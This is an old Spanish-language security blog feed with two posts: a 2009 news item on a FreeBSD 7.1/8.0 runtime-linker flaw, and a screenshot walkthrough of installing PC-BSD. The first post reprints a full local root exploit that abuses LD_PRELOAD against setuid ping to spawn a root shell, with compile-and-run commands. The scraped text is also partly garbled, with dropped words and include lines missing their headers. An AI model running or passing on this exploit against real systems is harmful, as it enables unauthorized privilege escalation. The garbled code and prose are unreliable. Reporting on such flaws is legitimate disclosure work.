La Comunidad DragonJAR » BSD http://www.dragonjar.org Noticias de actualidad y seguridad informática, herramientas de seguridad, documentación y una excelente COMUNIDAD. Sat, 11 Feb 2012 22:13:24 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Fallo en FreeBSD permite obtener roothttp://www.dragonjar.org/fallo-en-freebsd-permite-obtener-root-desde-cuenta.xhtml http://www.dragonjar.org/fallo-en-freebsd-permite-obtener-root-desde-cuenta.xhtml#comments Tue, 01 Dec 2009 08:54:39 +0000 DragoN http://www.dragonjar.org/?p=3442 Acaba de hacerse publica una descubierta por Nikolaos Rangos en los sistemas que permite escalar privilegios y obtener permisos de root en las versiones 8.0 y 7.1 de este operativo.

HNx9D Fallo en FreeBSD permite obtener root

El error reside en el Run-Time-Link Editor (rtld), que normalmente no permite de entorno peligrosas como LD_PRELOAD pero con una técnica sencilla el rtld pueden ser engañado para que acepte LD, incluso en los binarios setugid.
VERSIONES DE FREEBSD AFECTADAS
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NO VULNERABLE
FreeBSD 4.9-RELEASE *** NO VULNERABLE

Para más detalles ver el exploit.

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include
#include
#include
#include

void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF

Para compilar y ejecutar

gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Mas Información en el Full Disclosure publicado por Nikolaos Rangos

También puede interesarte...

]]> http://www.dragonjar.org/fallo-en-freebsd-permite-obtener-root-desde-cuenta.xhtml/feed 2 PC-BSD, nunca fue tan sencillo instalar y operar un BSDhttp://www.dragonjar.org/pc-bsd-nunca-fue-tan-sencillo-instalar-y-operar-un-bsd.xhtml http://www.dragonjar.org/pc-bsd-nunca-fue-tan-sencillo-instalar-y-operar-un-bsd.xhtml#comments Thu, 14 Feb 2008 20:09:41 +0000 DragoN http://www.dragonjar.org/?p=400 pc 3sd 300x59 PC BSD, nunca fue tan sencillo instalar y operar un BSD

PC- es un Operativo encaminado a los escritorios y basado en , igual a DesktopBSD. Es de fácil uso con instalación gráfica gracias a un programa que instala y configura automáticamente un escritorio con KDE por defecto. En Agosto del 2006 fue denominado el Sistema Operativo más amigable según OSWeekly.com.

pc 3sd 300x59 PC BSD, nunca fue tan sencillo instalar y operar un BSD

PC-BSD ofrece un nuevo y llamativo sistema de utilización de paquetes, se diferencia de la tonica seguida por los Sistemas Unix. En vez de utilizar los puertos FreeBSD o el sistema de paquetes usa archivos con la extensión .pbi extensión de archivo el cual podría definirse como instaladores de un sólo click.

Todo el sistema de paquetes y librerías esta contenido en un sólo archivo, instalado por el mismo en un mismo directorio raíz /Programs, haciendo más fácil la búsqueda de los binarios de los programas y reduciendo la posibilidad de paquetes rotos si las librerías cambian o son actualizadas.

Paso a paso de instalación de PC-BSD

Después de descargar y grabar la imágen ISO del sistema PC-BSD, seguiremos los pasos que describimos a continuación:

Iniciamos el PC desde la unidad de CD/DVD (o imágen ISO del S.O), veremos entonces la siguiente pantalla

11zt5.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Booteo en ejecución

67216681mh7.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Seleccionamos idioma del sistema, teclado y zona horaria

84840364ij6.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Para mi caso, seleccioné lo que se muestra a continuación

65827233xq7.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Damos clic en siguiente

57845060ra4.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Aceptamos los acuerdos de licencia

61rv9.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Tipo de instalación. En este caso “instalación limpia” (desde cero)

93857096te2.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Asignamos una contraseña para el usuario root (administrador), además creamos los respectivos usuarios que consideremos necesarios (para este manual, bastará con un solo usuario)

15708836hp9.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

57834653ge5.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Seleccionamos a continuación el disco dispuesto para efectuar la instalación

10zb3.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Componentes adicionales disponibles en el proceso de instalación (FireFox, Open Office.org, Ports Tree, Games, etc.)

11vq0.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Comenzamos entonces con la instalación

122ah1.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Proceso de instalación en ejecución

13to7.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

14jg7.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Instalación terminada. Ahora se nos pedirá reiniciar la máquina. Vamos a ello.

16wz8.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

17hq4.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Configuración inicial de pantalla

18qm7.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Pantalla de inicio de sesión

19uu7.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Cargando dispositivos, programas y configuración

20qy7.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Interfaz gráfica inicial de PC-BSD

21wn1.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Probando conctividad en la navegación Web icon wink PC BSD, nunca fue tan sencillo instalar y operar un BSD

22hf5.th PC BSD, nunca fue tan sencillo instalar y operar un BSD

Un poco corto, pero productivo el “paso a paso con PC-BSD”.
Recuerda que tenemos un foro destinado a cubrir diferentes aspectos de este Sistema Operativo.

También puede interesarte...

]]> http://www.dragonjar.org/pc-bsd-nunca-fue-tan-sencillo-instalar-y-operar-un-bsd.xhtml/feed 5